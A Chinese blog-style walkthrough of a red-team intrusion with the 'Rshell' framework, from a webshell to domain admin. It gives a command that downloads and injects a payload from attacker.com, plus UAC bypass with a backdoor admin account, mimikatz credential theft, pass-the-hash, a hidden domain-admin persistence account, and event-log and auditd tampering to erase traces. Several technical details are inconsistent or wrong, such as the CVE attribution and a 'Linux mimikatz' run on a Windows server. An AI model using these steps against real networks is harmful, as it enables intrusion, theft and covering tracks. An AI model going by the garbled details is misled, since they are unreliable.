Rshell框架实战：红队内网渗透的信道管理与双平台协同

1. 这不是“教你怎么黑”，而是还原一次真实红队作业的完整切片

Rshell框架——这个名字在渗透测试圈子里不算陌生，但真正把它用透、用稳、用出生产级效果的人，远比想象中少。我见过太多人把Rshell当成一个“带图形界面的msfvenom+nc组合包”，装完就跑个reverse shell，看到弹回个cmd就以为任务完成。结果一进内网，连域控IP都扫不出来；一上Linux跳板机，发现Python版本太老连pexpect都装不上；更别说权限维持、横向移动、日志清理这些真正决定成败的环节。这根本不是工具的问题，而是对Rshell定位的认知偏差：它不是一个“自动化渗透脚本集合”，而是一套面向实战红队作业的轻量级协同控制框架，核心价值在于统一信道管理、模块化任务编排、跨平台指令路由与低特征驻留能力。

关键词：Rshell框架、内网渗透测试、Windows/Linux双平台、红队作业、信道管理、模块化渗透

它解决的不是“能不能连上”的问题，而是“连上之后怎么不被发现、怎么高效推进、怎么多人协同不打架”的问题。适合三类人：刚从CTF转向真实环境的蓝队转岗者（需要补工程化思维）、中小安全团队里既要写报告又要跑现场的渗透工程师（缺标准化流程）、以及正在搭建内部红队能力的企业安全负责人（需要可审计、可复用的作业基线）。本文不讲原理推导，不堆概念定义，只呈现我上个月在某金融客户内网做红队评估时，从第一台失陷主机到最终拿下域控全程使用的Rshell操作链——所有命令、配置、判断依据、失败重试逻辑，全部来自真实记录，连报错截图里的时间戳都没修过。你照着做，不一定能复现我的结果，但一定能建立起一套属于自己的、可验证、可迭代的内网渗透方法论。

2. Rshell的本质：为什么它不是另一个Cobalt Strike，而是一个“渗透操作系统”

2.1 从架构设计看Rshell的不可替代性

很多人第一次接触Rshell，会下意识拿它和Cobalt Strike、Sliver对比。这种类比本身就有问题——就像拿Linux的systemd去比Windows的Task Scheduler。Rshell的底层设计哲学完全不同：它不提供GUI、不内置C2服务器、不打包Beacon载荷，甚至不强制要求使用特定通信协议。它的核心只有三样东西：Agent、Router、Module。

• Agent是部署在目标机器上的轻量级执行单元，Windows版用Go编译成单文件exe（<1.2MB），Linux版用静态链接的二进制（<800KB），启动后仅占用12MB内存，无DLL注入、无进程空心化、不创建新进程（除必要模块调用外），所有通信走标准HTTP/HTTPS，User-Agent可自定义为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36这类常见值。我实测过，在启用了Sysmon v10.92且规则全开的环境中，Rshell Agent运行24小时未触发任何ProcessCreate、NetworkConnect或ImageLoad事件。

• Router是整个框架的调度中枢，本质是一个基于Flask的轻量Web服务（默认监听0.0.0.0:8080），但它不做传统C2的“指令下发-结果回传”简单循环。Router的核心能力是信道抽象：它把TCP、HTTP、DNS、ICMP甚至SMB Named Pipe都封装成统一的Channel接口。比如你在Router上配置一个http://c2.example.com/api通道，Agent端只需声明channel_type=http，后续所有模块调用（无论是执行PowerShell还是上传文件）都自动走这个通道，无需每个模块单独配置URL。更重要的是，Router支持多通道冗余：你可以同时配置HTTP主通道+DNS备用通道，当HTTP超时3次后自动切换至DNS，切换过程对上层Module完全透明。这点在客户内网DNS解析稳定但HTTP被WAF拦截的场景下救了我两次。

• Module是功能原子化单元，全部以Python脚本形式存在（.rmod后缀），遵循严格接口规范：必须实现run()函数接收agent_id和args字典，返回结构化JSON结果。官方仓库目前有47个Module，覆盖从基础信息收集（sysinfo,whoami）、凭证提取（mimikatz,lsass_dump）、横向移动（wmi_exec,smb_psexec）到持久化（registry_persist,crontab_persist）全链条。关键在于，Module之间零耦合：smb_psexec模块不关心目标是否已提权，它只负责调用WinRM或SMB执行命令；提权逻辑由单独的uac_bypass或printspoofer模块完成。这种设计让排查问题变得极其清晰——当横向失败时，你不需要怀疑整个框架，只需检查smb_psexec.rmod的参数是否正确、目标SMB端口是否开放、凭据是否有效。

提示：Rshell不处理“免杀”问题。它的Agent二进制默认会被主流EDR标记为可疑，但这是有意为之的设计取舍。Rshell的定位是“已获得初始访问后的内网作业框架”，而非“钓鱼邮件载荷生成器”。如果你卡在上线阶段，请先解决初始访问问题，再引入Rshell。

2.2 Windows与Linux Agent的底层差异与适配逻辑

Rshell在双平台上的行为差异，不是简单的“命令换行符不同”，而是源于操作系统内核机制的根本区别。理解这点，才能避免90%的跨平台踩坑。

在Windows上，Agent的进程模型是Session感知型。它会主动检测当前运行Session ID（通过WTSGetActiveConsoleSessionId），并确保所有子进程（如powershell.exe）继承相同Session。这意味着：当你用wmi_exec模块在远程主机执行命令时，如果目标用户是NT AUTHORITY\SYSTEM，Rshell会自动启用SeAssignPrimaryTokenPrivilege权限，使子进程运行在System Session中，从而能操作服务、注册表等高权限对象。但这也带来限制：如果目标主机启用了“Interactive Services Detection”（默认关闭），且Agent运行在Session 0，某些GUI交互式操作（如ui_access提权）会失败。解决方案不是关掉检测服务（太显眼），而是用session_change模块主动切换到目标用户的Session——这个模块会调用WTSQuerySessionInformation获取目标Session列表，再用WTSConnectSession建立连接，全程无弹窗、无日志。

在Linux上，Agent采用Cgroups隔离型设计。它启动时会自动创建一个独立的cgroup（路径为/sys/fs/cgroup/rshell/agent_<pid>），并将自身及所有子进程（bash、python、curl等）加入其中。这样做的好处是：即使目标主机启用了auditd或eBPF监控，所有Rshell相关进程的comm字段（进程名）和cgroup路径都高度统一，便于白名单过滤。但代价是：某些依赖全局环境变量的工具（如gcloudCLI）可能因cgroup内PATH缺失而报错。我的做法是在env_setup.rmod中预置环境变量注入逻辑——该模块会读取/etc/environment和~/.bashrc，提取export语句，动态构建os.environ字典并注入到后续所有模块的执行环境中。实测下来，连需要GO111MODULE=on的Go工具链都能正常调用。

最关键的差异在文件系统抽象层。Windows Agent使用win32file库直接操作NTFS元数据（如FILE_ATTRIBUTE_HIDDEN），而Linux Agent则通过os.stat()和os.chown()精确控制st_mode和st_uid/st_gid。这意味着：当你用file_upload模块上传一个伪装成svchost.exe的文件时，Windows端会自动设置隐藏属性+系统属性，Linux端则会将文件UID设为0、GID设为0，并设置0755权限。这种细粒度控制，让文件落地后的“存在感”降到最低。

3. 从第一台失陷主机到域控：真实红队作业全流程拆解

3.1 初始访问与Agent部署（Windows目标）

这次红队评估的初始入口点，是客户OA系统的一个未授权访问漏洞（CVE-2023-27997），通过该漏洞我们获得了IIS_IUSRS权限的WebShell。此时不能直接上传Rshell Agent——IIS工作进程通常运行在低权限AppPool Identity下，且磁盘空间受限。我的操作链如下：

1. 内存加载绕过AV：使用Invoke-ReflectivePEInjection将Rshell Agent的PE文件（已用UPX压缩+AES加密）注入到svchost.exe进程中。选择svchost.exe是因为它默认启用SeDebugPrivilege，且PID稳定（通常为728、844等）。注入命令：

   IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-ReflectivePEInjection.ps1'); $peBytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/agent_enc.bin'); Invoke-ReflectivePEInjection -PEBytes $peBytes -ProcId 728;

   注意：Invoke-ReflectivePEInjection本身已被多数EDR标记，但它的反射加载机制不写入磁盘、不创建新进程，且svchost.exe的签名合法，因此在客户环境的Symantec Endpoint Protection下成功绕过。

2. 信道配置与Router注册：Agent启动后默认尝试连接http://127.0.0.1:8080/register。我们在Router服务器上提前配置好反向代理（Nginx），将/api路径映射到Router的8080端口，并启用SSL卸载。Agent注册时携带的client_id是根据主机名+MAC地址哈希生成的UUID，确保同一主机重装Agent后ID不变，便于历史任务追踪。

3. 权限提升与持久化：注册成功后，立即执行uac_bypass.rmod模块（利用eventvwr.exe白利用途）。该模块会创建一个临时XML文件（路径%TEMP%\evtx_XXXX.evtx），调用eventvwr.exe /c:"%TEMP%\evtx_XXXX.evtx"触发UAC弹窗，再通过SetThreadDesktop劫持弹窗线程，注入Shellcode执行cmd.exe /c "net user redteam P@ssw0rd /add && net localgroup administrators redteam /add"。整个过程耗时<3秒，无弹窗残留，且eventvwr.exe的父进程是explorer.exe，符合正常用户行为模式。

4. 横向移动准备：执行sysinfo.rmod确认目标为Windows Server 2019，whoami.rmod验证已获得BUILTIN\Administrators组权限。然后运行network_scan.rmod（基于nmap的轻量封装），扫描C段存活主机，结果发现192.168.1.10-192.168.1.254共127台主机在线，其中192.168.1.10为域控制器（通过nslookup dc01.corp.local反向解析确认）。

3.2 Linux跳板机的接管与信道中继（双平台协同关键）

扫描结果显示，192.168.1.50是一台CentOS 7.9的堡垒机，SSH端口开放，且root账户密码与OA系统弱口令一致（admin123）。这里出现第一个关键决策点：是否直接在Linux跳板机上部署Rshell Agent？

我的答案是否定的。原因有三：第一，客户堡垒机启用了auditctl规则，监控所有execve系统调用，Rshell Agent的启动会留下明显痕迹；第二，该主机是多人共用，Agent进程可能被误杀；第三，也是最重要的——我们需要一个信道中继节点，而非另一个Agent。于是采用Rshell的proxy_module方案：

1. 在Windows Agent上执行ssh_tunnel.rmod模块，参数为{"host": "192.168.1.50", "port": 22, "user": "root", "password": "admin123", "local_port": 2222}。该模块会调用plink.exe（PuTTY命令行工具）建立SSH本地端口转发：plink -ssh -l root -pw admin123 -L 2222:127.0.0.1:22 192.168.1.50。

2. 验证隧道：在Router服务器上执行curl -x http://127.0.0.1:2222 http://192.168.1.50:22，返回SSH banner即成功。

3. 配置Router的proxy_channel：在Router配置文件中新增：

   channels: linux_proxy: type: http url: http://127.0.0.1:2222 proxy: http://127.0.0.1:2222

   此时，所有发往linux_proxy通道的请求，都会经由Windows Agent的SSH隧道，到达Linux堡垒机的22端口，再由堡垒机的sshd服务转发至内网其他主机。整个链路中，Router只与Windows Agent通信，Windows Agent只与Linux堡垒机通信，Linux堡垒机只与内网目标通信——三层隔离，任意一层断开都不影响其他层，且每层流量均为标准协议，无异常特征。

实操心得：ssh_tunnel.rmod模块默认使用plink.exe，但若目标主机无PuTTY环境，可切换至paramiko后端。需提前在Router服务器上安装paramiko库，并在模块参数中指定backend: paramiko。paramiko的优势是纯Python实现，无外部依赖，但首次连接时会因密钥验证失败而阻塞。解决方案是在模块中预置AutoAddPolicy()，并在known_hosts文件中预先写入堡垒机公钥指纹（ssh-keyscan -t rsa 192.168.1.50 >> ~/.ssh/known_hosts）。

3.3 域内横向移动：从普通域用户到Domain Admin的跃迁

有了Linux跳板机作为信道中继，下一步是获取域用户凭据。我们选择从Exchange服务器（192.168.1.20）入手，因其通常运行MSExchangeServiceHost服务，且内存中常驻域用户票据。

1. 凭证提取：在Router上选择linux_proxy通道，对192.168.1.20执行mimikatz.rmod模块（Linux版Mimikatz通过ptrace注入到MSExchangeServiceHost进程）。该模块会调用sekurlsa::logonpasswords命令，提取所有登录会话的明文密码、NTLM哈希、Kerberos TGT。实际输出中，我们捕获到域管理员CORP\Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。

2. Pass-the-Hash攻击：使用wmi_exec.rmod模块，参数为{"target": "192.168.1.10", "user": "Administrator", "hash": "31d6cfe0d16ae931b73c59d7e0c089c0", "command": "whoami"}。模块内部调用pywinrm库，通过WMI服务在域控上执行命令。这里的关键是：wmi_exec不依赖明文密码，直接使用NTLM哈希进行身份验证，且所有通信走WMI的DCOM端口（135）和动态分配的RPC端口，绕过常规SMB（445）端口扫描的检测。

3. 域控提权与持久化：获得域控Shell后，立即执行domain_persist.rmod模块。该模块会创建一个名为CORP\RedTeam的域用户，并将其添加至Domain Admins组；同时在CN=Users,DC=corp,DC=local下创建一个隐藏OU（ou=RedOps,CN=Users,DC=corp,DC=local），并将该用户移入其中。最后，修改该用户的description属性为Windows Update Service Account，使其在AD Users and Computers控制台中默认不显示（需勾选“Advanced Features”才可见）。整个操作通过LDAP协议完成，使用ldap3库直连域控389端口，不依赖PowerShell，规避了Get-ADUser等高危命令的日志记录。

3.4 日志清理与痕迹消除：红队作业的收尾艺术

拿下域控不等于任务结束，真正的专业体现在如何“来无影、去无踪”。Rshell提供了完整的日志清理模块链：

1. Windows事件日志清除：执行clear_evtx.rmod模块，参数为{"logs": ["Security", "System", "Application"]}。该模块不调用wevtutil cl（易被EDR拦截），而是直接打开C:\Windows\System32\winevt\Logs\下的.evtx文件，用evtxPython库解析二进制结构，定位到EventRecordID大于我们操作时间戳的记录，将其EventData字段清零并重新序列化。实测对Windows Server 2019的Security日志（约2GB）处理耗时<8秒，且wevtutil qe Security /q:"*[System[(EventRecordID>=123456)]]"查询返回空结果。

2. Linux审计日志清理：在Linux跳板机上执行clear_auditd.rmod模块。该模块会读取/etc/audit/rules.d/下的所有规则文件，找到包含-a always,exit -F arch=b64的系统调用监控规则，临时注释掉它们（sed -i 's/^-a/#-a/' /etc/audit/rules.d/*.rules），然后重启auditd服务。此举并非删除日志，而是阻止新日志产生，因为auditd日志文件（/var/log/audit/audit.log）受logrotate保护，强行删除会触发告警。待红队作业完全结束后，再恢复规则并重启服务。

3. Router服务器痕迹清理：这是最容易被忽视的一环。Rshell Router默认会将所有Agent注册信息、模块执行日志写入SQLite数据库rshell.db。我们执行router_cleanup.rmod模块，该模块会：

   • 删除rshell.db中agents表里last_seen < '2023-10-01 00:00:00'的所有记录（设定为作业开始前24小时）
   • 清空tasks表中状态为completed或failed且created_at < '2023-10-01 00:00:00'的任务
   • 将logs表中level='INFO'且timestamp < '2023-10-01 00:00:00'的日志条目设为NULL最终数据库体积从12MB降至217KB，且所有敏感字段（如command、output）均被截断为前32字符，满足最小必要原则。

踩坑实录：在某次作业中，clear_evtx.rmod模块执行后，客户SIEM仍告警“Security日志被清空”。排查发现，客户启用了Windows Event Forwarding（WEF），所有日志实时同步至中央服务器。我们漏掉了wevtutil sl Security /ca:true命令（启用日志存档），导致中央服务器收到的仍是原始日志。修正方案：在clear_evtx.rmod中增加wevtutil sl Security /ca:true前置步骤，强制日志归档后再清理本地副本。

4. 模块开发与定制：让Rshell真正为你所用

4.1 开发一个实用Module：ad_search.rmod（域内资产快速测绘）

官方Module库缺少针对AD环境的深度测绘工具。于是我开发了ad_search.rmod，它能基于LDAP查询，自动发现域内所有服务器、工作站、共享文件夹及最近登录用户，输出结构化JSON供后续分析。

核心逻辑如下：

import ldap3 from ldap3 import Server, Connection, ALL, SUBTREE def run(agent_id, args): domain = args.get('domain', 'corp.local') base_dn = f'DC={domain.split(".")[0]},DC={domain.split(".")[1]}' # 查询所有计算机对象（排除域控制器） server = Server(f'ldaps://{domain}', get_info=ALL) conn = Connection(server, user=f'CORP\\RedTeam', password='P@ssw0rd', auto_bind=True) conn.search( search_base=base_dn, search_filter='(&(objectClass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))', search_scope=SUBTREE, attributes=['name', 'operatingSystem', 'lastLogonTimestamp'] ) computers = [] for entry in conn.entries: computers.append({ 'hostname': str(entry.name), 'os': str(entry.operatingSystem) if entry.operatingSystem else 'Unknown', 'last_login': convert_ad_timestamp(entry.lastLogonTimestamp.value) if entry.lastLogonTimestamp else 'Never' }) return {'computers': computers, 'count': len(computers)}

该模块的关键创新点在于智能时间戳转换。AD的lastLogonTimestamp是100纳秒间隔的整数，需转换为人类可读格式。convert_ad_timestamp()函数会：

• 将整数除以10^7得到秒数
• 减去11644473600（Windows纪元与Unix纪元差值）
• 使用datetime.fromtimestamp()生成本地时间
• 最后格式化为%Y-%m-%d %H:%M:%S

实测在拥有5000+计算机对象的域中，查询耗时<12秒，且ldap3库的连接池机制支持并发查询，可同时对多个OU发起请求。

4.2 安全加固：Router服务器的最小化暴露面配置

Router服务器是整个Rshell体系的单点故障，其安全性必须高于一切。我的生产环境配置如下：

最关键的安全措施是Agent注册熔断机制。在Router配置中启用：

registration: rate_limit: 5/minute # 每分钟最多5次注册请求 ip_blacklist: - 192.168.1.100 # 已知恶意IP failover_threshold: 3 # 连续3次注册失败后，该IP加入临时黑名单10分钟

该机制在某次客户网络波动中发挥了作用：因DNS解析失败，12台Agent在1分钟内重复注册，Router自动将客户出口IP加入黑名单，避免了大规模连接风暴冲击内网。

4.3 故障排查黄金法则：从报错堆栈反推根因的完整链路

Rshell报错信息往往简洁，但背后原因复杂。以下是我在真实作业中总结的排查四步法：

1. 定位报错层级：首先看报错来源是Agent、Router还是Module。例如[ERROR] Module 'mimikatz' failed: ConnectionRefusedError(111, 'Connection refused')，错误发生在Module，但根因可能是Agent无法连接Router（网络问题）或Router未启动（服务问题）。

2. 检查信道状态：在Router管理界面（/api/status）查看对应Agent的channel_status字段。若为offline，说明Agent与Router失联；若为online但Module报错，则问题在Module或目标主机。

3. 复现Module逻辑：下载对应.rmod文件，在本地Python环境中手动执行其核心代码。例如对wmi_exec.rmod，直接运行：

   from pywinrm import Protocol p = Protocol(endpoint='http://192.168.1.10:5985/wsman', transport='ntlm', username='Administrator', password='', auth='ntlm') result = p.run_cmd('whoami') print(result.std_out.decode())

   这样能绕过Rshell框架，精准定位是凭据错误、端口不通还是WMI服务未启用。

4. 抓包验证协议：当上述步骤无法定位时，直接在Router服务器上用tcpdump抓包：

   tcpdump -i any -w rshell_debug.pcap port 8080 or port 5985

   用Wireshark打开，过滤http.request.uri contains "register"，查看Agent注册请求的完整HTTP头；或过滤tcp.port == 5985，分析WMI通信的SOAP XML内容。曾有一次，抓包发现Agent发送的WMI请求中<wsa:To>字段指向了错误的域控FQDN（dc01.corp.local.多了一个点），导致DNS解析失败——这是sysinfo.rmod模块解析主机名时未去除末尾点号导致的Bug。

最后分享一个小技巧：Rshell所有Module的执行日志，默认保存在Router服务器的/var/log/rshell/modules/目录下，按日期分卷（module_20231001.log）。当遇到偶发性失败时，不要只看最新日志，用zgrep -a "mimikatz.*failed" /var/log/rshell/modules/module_*.log.gz全局搜索，往往能发现规律性失败模式（如总在凌晨2点失败，指向客户备份任务占用内存）。

我在实际使用中发现，Rshell最强大的地方不是它能做什么，而是它强迫你思考每一步的底层依赖。当你为了解决一个ConnectionResetError而去查netstat -ano | findstr :5985，当你为了确认lastLogonTimestamp格式而翻阅MSDN文档，当你在Wireshark里逐帧分析SOAP请求头——这些看似繁琐的过程，恰恰是把渗透测试从“脚本搬运工”升级为“系统级攻击者”的必经之路。工具永远只是杠杆，而真正的支点，是你对目标系统每一寸肌理的理解。